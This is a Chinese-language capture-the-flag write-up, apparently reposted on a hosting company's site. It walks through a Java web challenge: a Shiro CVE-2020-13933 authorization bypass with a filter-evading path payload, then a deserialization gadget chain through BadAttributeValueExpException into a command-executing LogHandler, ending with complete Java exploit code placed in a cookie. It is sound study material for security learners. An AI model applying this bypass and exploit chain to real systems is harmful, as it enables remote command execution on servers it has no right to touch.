- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 什么是Java反序列化漏洞
這篇文章主要介紹“什么是Java反序列化漏洞”,在日常操作中,相信很多人在什么是Java反序列化漏洞問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對大家解答”什么是Java反序列化漏洞”的疑惑有所幫助!接下來(lái),請跟著(zhù)小編一起來(lái)學(xué)習吧!
近年來(lái),工作中Java Web
的項目越來(lái)越常見(jiàn),并且逐漸取代了前幾年php
的輝煌地位。
在眾多Java Web
漏洞中,反序列化漏洞獨樹(shù)一幟,大量框架或者中間件都存在反序列化漏洞,它們被大佬們鐘愛(ài),并且翻過(guò)來(lái)覆過(guò)去的反復蹂躪,,例如:Shiro
、Fastjson
、JBoss
、WebLogic
、Structs2
等等。
本文基于一次內部小范圍比賽題目的復現,簡(jiǎn)單聊聊Java
代碼審計中的反序列化漏洞,以及其他漏洞的組合利用。由于學(xué)習門(mén)檻降低,各大學(xué)習論壇或網(wǎng)站上存在大量?jì)?yōu)秀的Java
反序列化的入門(mén)文章,里面對Java
的基本概念以及反序列化的基礎有著(zhù)詳細的描述和講解。本文不再贅述Java
反序列化中的簡(jiǎn)單概念,僅從題目本身入手。
題目本身是Web
題目,并且提供了源碼。
打開(kāi)頁(yè)面,登錄窗口。
頁(yè)面僅有一個(gè)登錄窗口,嘗試一波弱口令,無(wú)結果。
然后去看代碼,jar
包導入JD-GUI
,隨便點(diǎn)點(diǎn)。
大致文件結構如下:
其中ShiroConfig.class
內容如下:
簡(jiǎn)單審計發(fā)現,index
內容需要認證,也就是需要登錄。
查看index
對應的IndexController.class
,發(fā)現存在反序列化點(diǎn)。
具體代碼如下:
if (cookies != null) { for (Cookie c : cookies) { if (c.getName().equals("userinfo")) { exist = true; cookie = c; break; } } } if (exist) { byte[] bytes = Tools.base64Decode(cookie.getValue()); user = (User)Tools.deserialize(bytes); } else { user = new User(); user.setId(1); user.setName(name); cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user))); response.addCookie(cookie); }
當訪(fǎng)問(wèn)index
時(shí),并且存在cookie
的key
為userinfo
時(shí),會(huì )對其value
進(jìn)行deserialize
。
過(guò)程如下:
cookie[userinfo] --> base64decode --> deserialize
暫時(shí)思路是,登錄之后,通過(guò)cookie
進(jìn)行反序列化。
但是由MyRealm.class
可知,密碼是隨機的。
具體代碼如下:
return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
再由lib
中的BOOT-INF.lib.shiro-spring-1.5.3.jar
可知,shiro
版本為 1.5.3 ,存在CVE-2020-13933
權限繞過(guò)漏洞。
根據 https://xz.aliyun.com/t/8230 可知,常用payload
為/index/%3bxxx
。
但存在過(guò)濾器AllFilter.class
。
public class AllFilter implements IAllFilter { public String filter(String param) { String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" }; for (String i : keyWord) { param = param.replaceAll(i, ""); } return param; } }
AllFilter
會(huì )對payload
的字符進(jìn)行過(guò)濾,經(jīng)過(guò)嘗試,最終有效payload
為/index/%3b/xxx
。
繞過(guò)權限之后,發(fā)現后臺為日志記錄。
涉及到LogHandler.class
,在之后的后續反序列化會(huì )用到。
繞過(guò)權限之后,想辦法反序列化。
要序列化的條件是,必須繼承Java.io.Serializable
接口。
在代碼中尋找可被利用的class
。
發(fā)現LogHandler.class
。
其中存在命令執行點(diǎn)
public class LogHandler extends HashSet implements InvocationHandler { private static final long serialVersionUID = 1L; private String readLog = "tail /tmp/accessLog"; private Object target; private String writeLog = "echo /test >> /tmp/accessLog"; public LogHandler() {} public LogHandler(Object target) { this.target = target; } public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0])); return method.invoke(this.target, args); } public String toString() { return Tools.exeCmd(this.readLog); } }
LogHandler
繼承了HashSet
。
HashSet
繼承了Java.io.Serializable
接口。
HashSet
部分代碼如下:
package Java.util; import Java.io.InvalidObjectException; import sun.misc.SharedSecrets; public class HashSet<E>extends AbstractSet<E>implements Set<E>, Cloneable, Java.io.Serializable{ static final long serialVersionUID = -5024744406713321676L; ......
之后的pop
鏈為:
deserialize --> LogHandler --> toString --> exeCmd (readLog)
條件:readLog
可控 。
readLog
為私有屬性,可通過(guò)Java
的反射機制訪(fǎng)問(wèn)屬性值。
例如:
import Java.lang.reflect.*; public class AccessAttribute { public static void main(String[] args) throws Exception { Field aaa= UserClass.getDeclaredField("name"); aaa.setAccessible(true);//私有屬性,設置可訪(fǎng)問(wèn) aaa.set(user, "liuxigua"); } }
最終目的:尋找某個(gè)Java
原生類(lèi),要求:重寫(xiě)readObject
方法并且可調用可控類(lèi)的toString
方法。
最后百度查到BadAttributeValueExpException
,并且很多Java
反序列化的Gadgets
均用到了此類(lèi)
BadAttributeValueExpException
部分代碼如下:
public class BadAttributeValueExpException extends Exception { private static final long serialVersionUID = -3105272988410493376L; private Object val; public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
可通過(guò)將val
設置為logHandler
類(lèi),最終在readObject
時(shí)調用其toString
方法。
BadAttributeValueExpException (val) --> LogHandler(readLog).toString() --> serialize --> base64encode cookie[userinfo] --> base64decode --> deserialize --> LogHandler --> toString --> exeCmd (readLog)
最終Gadgets
:
Javax.management.BadAttributeValueExpException.readObject() -->tools.logHandler.toString()--> tools.Tools.exeCmd()
注意:payload
的代碼結構與文件位置需要與服務(wù)端代碼結構與文件位置保持一致
package com.test.JavaWeb; import Javax.management.BadAttributeValueExpException; import com.test.JavaWeb.tools.Tools; import com.test.JavaWeb.tools.LogHandler; import Java.lang.reflect.Field; public class Exp { public static void main(String[] args) throws Exception{ LogHandler logHandler = new LogHandler(); Field readLogField = LogHandler.class.getDeclaredField("readLog"); readLogField.setAccessible(true); readLogField.set(logHandler,"touch /tmp/123"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(""); Field valField = BadAttributeValueExpException.class.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,logHandler); byte[] bytes = Tools.serialize(badAttributeValueExpException); System.out.println(Tools.base64Encode(bytes)); } }
生成payload
之后,在cookie
的userinfo
值填入,可執行命令。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站